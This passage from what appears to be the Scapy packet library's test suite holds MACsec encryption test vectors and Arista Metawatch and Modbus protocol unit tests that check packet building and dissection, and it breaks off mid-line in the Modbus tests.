raw(m)\n\n= MACsec - Standard Test Vectors - C.5.1 GCM-AES-128 (54-octet frame confidentiality protection)\nsa = MACsecSA(sci=b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01', an=0, pn=0x76D457ED, key=b'\\x07\\x1B\\x11\\x3B\\x0C\\xA7\\x43\\xFE\\xCC\\xCF\\x3D\\x05\\x1F\\x73\\x73\\x82', icvlen=16, encrypt=1, send_sci=0)\np = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004\"))\nm = sa.encap(p)\nm[MACsec].ES = 1\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01\\x76\\xD4\\x57\\xED')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED13B4C72B389DC5018E72A171DD85A5D3752274D3A019FBCAED09A425CD9B2E1C9B72EEE7C9DE7D52B3F3D6A5284F4A6D3FE22A5D6C2B960494C3\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.5.2 GCM-AES-256 (54-octet frame confidentiality protection)\nsa = MACsecSA(sci=b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01', an=0, pn=0x76D457ED, key=b'\\x69\\x1D\\x3E\\xE9\\x09\\xD7\\xF5\\x41\\x67\\xFD\\x1C\\xA0\\xB5\\xD7\\x69\\x08\\x1F\\x2B\\xDE\\x1A\\xEE\\x65\\x5F\\xDB\\xAB\\x80\\xBD\\x52\\x95\\xAE\\x6B\\xE7', icvlen=16, encrypt=1, send_sci=0)\np = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004\"))\nm = sa.encap(p)\nm[MACsec].ES = 1\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01\\x76\\xD4\\x57\\xED')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"E20106D7CD0DF0761E8DCD3D88E54C2A76D457EDC1623F55730C93533097ADDAD25664966125352B43ADACBD61C5EF3AC90B5BEE929CE4630EA79F6CE51912AF39C2D1FDC2051F8B7B3C9D397EF2\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.5.3 GCM-AES-XPN-128 (54-octet frame confidentiality protection)\nsa = MACsecSA(sci=b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\\x07\\x1B\\x11\\x3B\\x0C\\xA7\\x43\\xFE\\xCC\\xCF\\x3D\\x05\\x1F\\x73\\x73\\x82', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\\xE6\\x30\\xE8\\x1A\\x48\\xDE\\x86\\xA2\\x1C\\x66\\xFA\\x6D')\np = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004\"))\nm = sa.encap(p)\nm[MACsec].ES = 1\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x9C\\x00\\x29\\x02\\xF8\\x01\\xC3\\x3E\\x6A\\xB2\\xAD\\x80')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED9CA46984430203ED416EBDC2FE2622BA3E5EAB6961C36383009E187E9B0C88564653B9ABD216441C6AB6F0A232E9E44C978CF7CD84D43484D101\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n\n= MACsec - Standard Test Vectors - C.5.4 GCM-AES-XPN-256 (54-octet frame confidentiality protection)\nsa = MACsecSA(sci=b'\\xF0\\x76\\x1E\\x8D\\xCD\\x3D\\x00\\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\\x69\\x1D\\x3E\\xE9\\x09\\xD7\\xF5\\x41\\x67\\xFD\\x1C\\xA0\\xB5\\xD7\\x69\\x08\\x1F\\x2B\\xDE\\x1A\\xEE\\x65\\x5F\\xDB\\xAB\\x80\\xBD\\x52\\x95\\xAE\\x6B\\xE7', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\\xE6\\x30\\xE8\\x1A\\x48\\xDE\\x86\\xA2\\x1C\\x66\\xFA\\x6D')\np = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex(\"0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004\"))\nm = sa.encap(p)\nm[MACsec].ES = 1\niv = sa.make_iv(m)\nassert raw(iv) == raw(b'\\x9C\\x00\\x29\\x02\\xF8\\x01\\xC3\\x3E\\x6A\\xB2\\xAD\\x80')\ne = sa.encrypt(m)\nref = Raw(bytes.fromhex(\"E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED88D9F7D1F1578EE34BA7B1ABC89893EF1D3398C9F1DD3E47FBD8553E0FF786EF5699EB01EA10420D0EBD39A0E273C4C7F95ED843207D7A497DFA\"))\nassert raw(e) == raw(ref)\ndt = sa.decrypt(e)\nassert raw(dt) == raw(m)\n"
  },
  {
    "path": "test/contrib/metawatch.uts",
    "content": "# Arista Metawatch unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('metawatch')\" -t test/contrib/metawatch.uts\n\n+ Metawatch\n\n= MetawatchEther, basic instantiation\n\nm = MetawatchEther()\nassert m.type == 0x9000\n\n= MetawatchEther, build & dissect\n\nr = raw(MetawatchEther(dst=\"00:01:02:03:04:05\", src=\"06:07:08:09:10:11\"))\nassert r == b'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\x10\\x11\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nm = MetawatchEther(r)\nassert m.dst == \"00:01:02:03:04:05\" and m.src == \"06:07:08:09:10:11\" and m.type == 0x9000\n"
  },
  {
    "path": "test/contrib/modbus.uts",
    "content": "% Modbus layer test campaign\n\n+ Syntax check\n= Import the modbus layer\nfrom scapy.contrib.modbus import *\n\n+ Test MBAP\n= MBAP default values\nraw(ModbusADURequest()) == b'\\x00\\x00\\x00\\x00\\x00\\x01\\xff'\n\n= MBAP payload length calculation\nraw(ModbusADURequest() / b'\\x00\\x01\\x02') == b'\\x00\\x00\\x00\\x00\\x00\\x04\\xff\\x00\\x01\\x02'\n\n= MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case)\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x01\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU01ReadCoilsRequest)\n= MBAP Guess Payload ModbusPDU01ReadCoilsResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x04\\xff\\x01\\x01\\x01')\nassert isinstance(p.payload, ModbusPDU01ReadCoilsResponse)\n= MBAP Guess Payload ModbusPDU01ReadCoilsError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x81\\x02')\nassert isinstance(p.payload, ModbusPDU01ReadCoilsError)\n\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x02\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsRequest)\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x04\\xff\\x02\\x01\\x00')\nassert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsResponse)\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x82\\x01')\nassert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsError)\n\n= MBAP Guess Payload ModbusPDU03ReadHoldingRegistersRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x03\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersRequest)\n= MBAP Guess Payload ModbusPDU03ReadHoldingRegistersResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\x03\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersResponse)\n= MBAP Guess Payload ModbusPDU03ReadHoldingRegistersError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x83\\x01')\nassert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersError)\n\n= MBAP Guess Payload ModbusPDU04ReadInputRegistersRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x04\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU04ReadInputRegistersRequest)\n= MBAP Guess Payload ModbusPDU04ReadInputRegistersResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\x04\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU04ReadInputRegistersResponse)\n= MBAP Guess Payload ModbusPDU04ReadInputRegistersError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x84\\x01')\nassert isinstance(p.payload, ModbusPDU04ReadInputRegistersError)\n\n= MBAP Guess Payload ModbusPDU05WriteSingleCoilRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x05\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU05WriteSingleCoilRequest)\n= MBAP Guess Payload ModbusPDU05WriteSingleCoilResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x05\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU05WriteSingleCoilResponse)\n= MBAP Guess Payload ModbusPDU05WriteSingleCoilError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x85\\x01')\nassert isinstance(p.payload, ModbusPDU05WriteSingleCoilError)\n\n= MBAP Guess Payload ModbusPDU06WriteSingleRegisterRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x06\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU06WriteSingleRegisterRequest)\n= MBAP Guess Payload ModbusPDU06WriteSingleRegisterResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x06\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU06WriteSingleRegisterResponse)\n= MBAP Guess Payload ModbusPDU06WriteSingleRegisterError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x86\\x01')\nassert isinstance(p.payload, ModbusPDU06WriteSingleRegisterError)\n\n= MBAP Guess Payload ModbusPDU07ReadExceptionStatusRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x07')\nassert isinstance(p.payload, ModbusPDU07ReadExceptionStatusRequest)\n= MBAP Guess Payload ModbusPDU07ReadExceptionStatusResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x07\\x00')\nassert isinstance(p.payload, ModbusPDU07ReadExceptionStatusResponse)\n= MBAP Guess Payload ModbusPDU07ReadExceptionStatusError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x87\\x01')\nassert isinstance(p.payload, ModbusPDU07ReadExceptionStatusError)\n\n= MBAP Guess Payload ModbusPDU08DiagnosticsRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x08\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU08DiagnosticsRequest)\n= MBAP Guess Payload ModbusPDU08DiagnosticsResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x08\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU08DiagnosticsResponse)\n= MBAP Guess Payload ModbusPDU08DiagnosticsError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x88\\x01')\nassert isinstance(p.payload, ModbusPDU08DiagnosticsError)\n\n= MBAP Guess Payload ModbusPDU0BGetCommEventCounterRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x0b')\nassert isinstance(p.payload, ModbusPDU0BGetCommEventCounterRequest)\n= MBAP Guess Payload ModbusPDU0BGetCommEventCounterResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x0b\\x00\\x00\\xff\\xff')\nassert isinstance(p.payload, ModbusPDU0BGetCommEventCounterResponse)\n= MBAP Guess Payload ModbusPDU0BGetCommEventCounterError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x8b\\x01')\nassert isinstance(p.payload, ModbusPDU0BGetCommEventCounterError)\n\n= MBAP Guess Payload ModbusPDU0CGetCommEventLogRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x0c')\nassert isinstance(p.payload, ModbusPDU0CGetCommEventLogRequest)\n= MBAP Guess Payload ModbusPDU0CGetCommEventLogResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU0CGetCommEventLogResponse)\n= MBAP Guess Payload ModbusPDU0CGetCommEventLogError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x8c\\x01')\nassert isinstance(p.payload, ModbusPDU0CGetCommEventLogError)\n\n= MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\x0f\\x00\\x00\\x00\\x01\\x01\\x00')\nassert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsRequest)\n= MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x0f\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsResponse)\n= MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x8f\\x01')\nassert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsError)\n\n= MBAP Guess Payload ModbusPDU10WriteMultipleRegistersRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\t\\xff\\x10\\x00\\x00\\x00\\x01\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersRequest)\n= MBAP Guess Payload ModbusPDU10WriteMultipleRegistersResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x10\\x00\\x00\\x00\\x01')\nassert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersResponse)\n= MBAP Guess Payload ModbusPDU10WriteMultipleRegistersError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x90\\x01')\nassert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersError)\n\n= MBAP Guess Payload ModbusPDU11ReportSlaveIdRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x11')\nassert isinstance(p.payload, ModbusPDU11ReportSlaveIdRequest)\n= MBAP Guess Payload ModbusPDU11ReportSlaveIdResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x11\\x00')\nassert isinstance(p.payload, ModbusPDU11ReportSlaveIdResponse)\n= MBAP Guess Payload ModbusPDU11ReportSlaveIdError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x91\\x01')\nassert isinstance(p.payload, ModbusPDU11ReportSlaveIdError)\n\n= MBAP Guess Payload ModbusPDU14ReadFileRecordRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x14\\x00')\nassert isinstance(p.payload, ModbusPDU14ReadFileRecordRequest)\n= MBAP Guess Payload ModbusPDU14ReadFileRecordResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x14\\x00')\nassert isinstance(p.payload, ModbusPDU14ReadFileRecordResponse)\n= MBAP Guess Payload ModbusPDU14ReadFileRecordError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x91\\x01')\nassert isinstance(p.payload, ModbusPDU11ReportSlaveIdError)\n\n= MBAP Guess Payload ModbusPDU15WriteFileRecordRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x15\\x00')\nassert isinstance(p.payload, ModbusPDU15WriteFileRecordRequest)\n= MBAP Guess Payload ModbusPDU15WriteFileRecordResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x15\\x00')\nassert isinstance(p.payload, ModbusPDU15WriteFileRecordResponse)\n= MBAP Guess Payload ModbusPDU15WriteFileRecordError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x95\\x01')\nassert isinstance(p.payload, ModbusPDU15WriteFileRecordError)\n\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\x16\\x00\\x00\\xff\\xff\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterRequest)\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\x16\\x00\\x00\\xff\\xff\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterResponse)\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x96\\x01')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterError)\n\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\x16\\x00\\x00\\xff\\xff\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterRequest)\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\x16\\x00\\x00\\xff\\xff\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterResponse)\n= MBAP Guess Payload ModbusPDU16MaskWriteRegisterError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x96\\x01')\nassert isinstance(p.payload, ModbusPDU16MaskWriteRegisterError)\n\n= MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\r\\xff\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersRequest)\n= MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\x17\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersResponse)\n= MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x97\\x01')\nassert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersError)\n\n= MBAP Guess Payload ModbusPDU18ReadFIFOQueueRequest\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x04\\xff\\x18\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU18ReadFIFOQueueRequest)\n= MBAP Guess Payload ModbusPDU18ReadFIFOQueueResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x06\\xff\\x18\\x00\\x02\\x00\\x00')\nassert isinstance(p.payload, ModbusPDU18ReadFIFOQueueResponse)\n= MBAP Guess Payload ModbusPDU18ReadFIFOQueueError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\x98\\x01')\nassert isinstance(p.payload, ModbusPDU18ReadFIFOQueueError)\n\n= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test)\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x04\\xff+\\x0e\\x01\\x00')\nassert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest)\n= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x1b\\xff+\\x0e\\x01\\x83\\x00\\x00\\x03\\x00\\x08Pymodbus\\x01\\x02PM\\x02\\x031.0')\nassert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse)\n= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x03\\xff\\xab\\x01')\nassert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError)\n\n= MBAP Guess Payload Reserved Function Request (Invalid payload)\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x5b')\nassert isinstance(p.payload,ModbusPDUReservedFunctionCodeRequest)\n= MBAP Guess Payload Reserved Function Response (Invalid payload)\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x7e')\nassert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse)\n= MBAP Guess Payload Reserved Function Error (Invalid payload)\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x8a')\nassert isinstance(p.payload, ModbusPDUReservedFunctionCodeError)\n\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse\nassert raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\\x02\\x01\\x00'\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse minimal parameters\nassert raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\\x02\\x02\\x02\\x01'\n= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest dissection\np = ModbusPDU02ReadDiscreteInputsResponse(b'\\x02\\x02\\x02\\x01')\np.byteCount == 2 and p.inputStatus == [0x02, 0x01]\n\n= ModbusPDU02ReadDiscreteInputsError\nraw(ModbusPDU02ReadDiscreteInputsError()) == b'\\x82\\x01'\n\n= MBAP Guess Payload User-Defined Function Request (Invalid payload)\np = ModbusADURequest(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x5b')\nassert isinstance(p.payload, ModbusPDUReservedFunctionCodeRequest)\n= MBAP Guess Payload User-Defined Function Response (Invalid payload)\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x7e')\nassert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse)\n= MBAP Guess Payload User-Defined Function Error (Invalid payload)\np = ModbusADUResponse(b'\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x8a')\nassert isinstance(p.payload, ModbusPDUReservedFunctionCodeError)\n\n+ Test layer binding\n= Destination port\np = TCP()/ModbusADURequest()\np[TCP].dport == 502\n\n= Source port\np = TCP()/ModbusADUResponse()\np[TCP].sport == 502\n\n+ Test PDU\n* Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation\n# 0x01/0x81 Read Coils --------------------------------------------------------------\n= ModbusPDU01ReadCoilsRequest\nraw(ModbusPDU01ReadCoilsRequest()) == b'\\x01\\x00\\x00\\x00\\x01'\n= ModbusPDU01ReadCoilsRequest minimal parameters\nraw(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == b'\\x01\\x00\\x10\\x00\\x02'\n= ModbusPDU01ReadCoilsRequest dissection\np = ModbusPDU01ReadCoilsRequest(b'\\x01\\x00\\x10\\x00\\x02')\nassert p.startAddr == 16\nassert p.quantity == 2\n\n= ModbusPDU01ReadCoilsResponse\nraw(ModbusPDU01ReadCoilsResponse()) == b'\\x01\\x01\\x00'\n= ModbusPDU01ReadCoilsResponse minimal parameters\nraw(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == b'\\x01\\x03\\x10\\x10\\x10'\n= ModbusPDU01ReadCoilsResponse dissection\np = ModbusPDU01ReadCoilsResponse(b'\\x01\\x03\\x10\\x10\\x10')\nassert p.coilStatus == [16, 16, 16]\nassert p.byteCount == 3\n\n= ModbusPDU01ReadCoilsError\nraw(ModbusPDU01ReadCoilsError()) == b'\\x81\\x01'\n= ModbusPDU81ReadCoilsError minimal parameters\nraw(ModbusPDU01ReadCoilsError(exceptCode=2)) == b'\\x81\\x02'\n= ModbusPDU81ReadCoilsError dissection\np = ModbusPDU01ReadCoilsError(b'\\x81\\x02')\nassert p.funcCode == 0x81\nassert p.exceptCode == 2\n\n# 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------\n= ModbusPDU02ReadDiscreteInputsRequest\nraw(ModbusPDU02ReadDiscreteInputsRequest()) == b'\\x02\\x00\\x00\\x00\\x01'\n= ModbusPDU02ReadDiscreteInputsRequest minimal parameters\nraw(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == b'\\x02\\x00\\x08\\x00\\x80'\n\n= ModbusPDU02ReadDiscreteInputsResponse\nraw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\\x02\\x01\\x00'\n= ModbusPDU02ReadDiscreteInputsResponse minimal parameters\nraw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\\x02\\x02\\x02\\x01'\n= ModbusPDU02ReadDiscreteInputsRequest dissection\np = ModbusPDU02ReadDiscreteInputsResponse(b'\\x02\\x02\\x02\\x01')\nassert p.byteCount == 2\nassert p.inputStatus == [0x02, 0x01]\n\n= ModbusPDU02ReadDiscreteInputsError\nraw(ModbusPDU02ReadDiscreteInputsError()) == b'\\x82\\x01'\n\n# 0x03/0x83 Read Holding Registers --------------------------------------------------\n= ModbusPDU03ReadHoldingRegistersRequest\nraw(ModbusPDU03ReadHoldingRegistersRequest()) == b'\\x03\\x00\\x00\\x00\\x01'\n= ModbusPDU03ReadHoldingRegistersRequest minimal parameters\nraw(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == b'\\x03\\x08\\x00\\x00\\x10'\n\n= ModbusPDU03ReadHoldingRegistersResponse\nraw(ModbusPDU03ReadHoldingRegistersResponse()) == b'\\x03\\x02\\x00\\x00'\n= ModbusPDU03ReadHoldingRegistersResponse minimal parameters\n1==1\n= ModbusPDU03ReadHoldingRegistersResponse dissection\np = ModbusPDU03ReadHoldingRegistersResponse(b'\\x03\\x06\\x02+\\x00\\x00\\x00d')\nassert p.byteCount == 6\nassert p.registerVal == [555, 0, 100]\n\n= ModbusPDU03ReadHoldingRegistersError\nraw(ModbusPDU03ReadHoldingRegistersError()) == b'\\x83\\x01'\n\n# 0x04/0x84 Read Input Register -----------------------------------------------------\n= ModbusPDU04ReadInputRegistersRequest\nraw(ModbusPDU04ReadInputRegistersRequest()) == b'\\x04\\x00\\x00\\x00\\x01'\n\n= ModbusPDU04ReadInputRegistersResponse\nraw(ModbusPDU04ReadInputRegistersResponse()) == b'\\x04\\x02\\x00\\x00'\n= ModbusPDU04ReadInputRegistersResponse minimal parameters\nraw(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == b'\\x04\\x04\\x00\\x01\\x00\\x02'\n\n= ModbusPDU04ReadInputRegistersError\nraw(ModbusPDU04ReadInputRegistersError()) == b'\\x84\\x01'\n\n# 0x05/0x85 Write Single Coil -------------------------------------------------------\n= ModbusPDU05WriteSingleCoilRequest\nraw(ModbusPDU05WriteSingleCoilRequest()) == b'\\x05\\x00\\x00\\x00\\x00'\n\n= ModbusPDU05WriteSingleCoilResponse\nraw(ModbusPDU05WriteSingleCoilResponse()) == b'\\x05\\x00\\x00\\x00\\x00'\n\n= ModbusPDU05WriteSingleCoilError\nraw(ModbusPDU05WriteSingleCoilError()) == b'\\x85\\x01'\n\n# 0x06/0x86 Write Single Register ---------------------------------------------------\n= ModbusPDU06WriteSingleRegisterRequest\nraw(ModbusPDU06WriteSingleRegisterRequest()) == b'\\x06\\x00\\x00\\x00\\x00'\n\n= ModbusPDU06WriteSingleRegisterResponse\nraw(ModbusPDU06WriteSingleRegisterResponse()) == 